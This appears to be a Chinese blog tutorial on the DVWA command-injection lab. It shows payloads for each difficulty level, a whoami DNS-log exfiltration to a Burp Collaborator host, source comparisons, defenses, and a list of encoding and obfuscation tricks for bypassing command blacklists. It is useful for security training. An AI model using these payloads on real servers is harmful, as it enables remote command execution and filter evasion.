DVWA —— Command Injection 命令注入

目录

漏洞原理

Low

渗透思路

分号 ; 实现单行多命令执行

Medium

渗透思路 

Burp Collaborator Client 实现 DNS LOG 

短路逻辑与 & 实现命令连接绕过字符黑名单

源码对比

Low 源码 

Medium 源码 

对比小结

High

渗透思路 

通过短路逻辑运算符 | 绕过特殊字符黑名单

源码对比

Medium 源码

High 源码

对比小结 

Impossible

源码对比

High 源码

Impossible 源码

对比小结

防御

绕过

URL编码绕过

Base64编码绕过

Hex编码绕过

Oct编码绕过

偶读拼接绕过

内联执行绕过

引号绕过

通配符绕过

反斜杠绕过

[]匹配绕过

参考文章


漏洞原理

命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。

Low

渗透思路

按照页面提示正常请求,结果如下:

由此推测后端执行命令为 ping -c 4 8.8.8.8 

分号 ; 实现单行多命令执行

如果是 Linux 系统,多个命令可以一行表示,用 ; 分隔,比如 ping 8.8.8.8; pwd,为方便直接获得我们想要的结果,可以在输入框中直接填写 ;pwd,相当于执行命令 ping;pwd ,结果如下图所示,成功执行命令 pwd,获得当前目录。

Medium

渗透思路 

通过以上流量对比没有发现明显差别,对采取的防护措施也不甚清楚。但也不排除 payload 可能得到执行,首先想到的是 DNS LOG,为验证漏送是否存在,可以通过Burpsuit 自带的 DNS LOG 功能来测试。 

Burp Collaborator Client 实现 DNS LOG 

点击 Copy to clipboard,获得服务器地址 

输入栏填写内容

`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net 

后台拼接的完整命令应该是

ping -c 4`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net 

点击页面输入框后的 Submit,然后回到 Burp CollaboratorClient,点击 Poll now,快速获得消息,成功后证明了漏洞存在,之前 whoami 命令部分执行成功后变为 www-data 

注:有时 Burp Collaborator Client 可能会失效,不妨多试几次,或者自己搭建 DNS LOG 平台,如果是内网环境也可以直接用wireshark 等抓包工具捕获发出的 ICMP 流量。 

短路逻辑与 & 实现命令连接绕过字符黑名单

通过源码分析,得知程序对 && 和 ; 两个字符做了黑名单处理,这样之前的 ; 字符连接命令就无效了,但是连接 Linux shell 实现多命令执行的字符除了 && 和 ; 还有 &,如果有效的话,实现命令注入就比 DNS LOG 简单多了,实际证明很有效,结果如下: 

源码对比

Low 源码 

Medium 源码 

对比小结

通过对比可知,Medium 和 Low 两个的等级代码区别有:

  1. Medium 对 && 和 ;两个字符做了简单黑名单处理

High

渗透思路 

为方便起见,首先尝试之前效果较好的命令连接符,比如 ;,&,但是无一例外都没响应,那就用较为麻烦的 DNS LOG 来验证漏洞的存在。方法和 Medium 级别一样,通过 Burp CollaboratorClient 也没获得命令执行结果,但可以得出一个结果就是反引号 ` 也被过滤掉了。

通过短路逻辑运算符 | 绕过特殊字符黑名单

逻辑运算符是连接多命令执行的好帮手,除了 && 和 &,还有 || 和 |,通过测试, | 能够成功绕过黑名单,结果如下

源码对比

Medium 源码

High 源码

对比小结 

通过以上源码对比可知,相较于 Medium 源码:

  1. High 对参数 IP 进行 trim() 处理
  2. High 扩展了特殊字符黑名单
  3. 字符串 ’| ‘多了空格,无法有效屏蔽字符 '|'

Impossible

源码对比

High 源码

Impossible 源码

对比小结

通过对比可知,Medium 和 Low 两个的等级代码区别有:

  1. 开头进行 user_token 参数校验
  2. stripslashes 过滤用户输入反斜杠
  3. 按照 IP 地址四段点分十进制的格式,严格校验输入合法性
  4. 末尾重新生成新的 user_token  供下次新的请求校验,防止重放攻击

防御

  1. 开源框架,升级到最新版本
  2. 尽量不使用命令执行的函数
  3. 对可执行命令和代码使用白名单限制
  4. 用正则表达式对用户输入的内容进行充分处理
  5. 使用 WAF

绕过

URL编码绕过

关于$_SERVER[‘QUERY_STRING’],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。

Base64编码绕过

echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码

echo “Y2F0IC9mbGFn”|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码

echo “bHM=”|base64 -d|sh 将执行ls

Hex编码绕过

echo “636174202f666c6167”|xxd -r -p|bash 将执行cat /flag

$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) 执行cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag

Oct编码绕过

$(printf “\154\163”) 执行ls

偶读拼接绕过

?ip=127.0.0.1;a=l;b=s;a aab

?ip=127.0.0.1;a=fl;b=ag;cat /a aab;

内联执行绕过

echo “apwd” #输出a/root

?ip=127.0.0.1;cat$IFS$9ls

引号绕过

ca"“t => cat

mo”“re => more

in”“dex => index

ph”"p => php

通配符绕过

假设flag在/flag中:

/?url=127.0.0.1|ca"“t%09/fla?

/?url=127.0.0.1|ca”“t%09/fla*

假设flag在/flag.txt中:

/?url=127.0.0.1|ca”“t%09/fla???

/?url=127.0.0.1|ca”“t%09/fla*

假设flag在/flags/flag.txt中:

/?url=127.0.0.1|ca”“t%09/fla??/fla???

/?url=127.0.0.1|ca”"t%09/fla*/fla*

反斜杠绕过

ca\t => cat

mo\re => more

in\dex => index

ph\p => php

n\l => nl

[]匹配绕过

c[a]t => cat

mo[r]e => more

in[d]ex => index

p[h]p => php

参考文章

(RCE)命令执行和代码执行的原理、危害、防范、绕过_代码执行的危害_我是李现大王的博客-CSDN博客

命令执行(RCE)面对各种过滤,骚姿势绕过总结 - 知乎

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值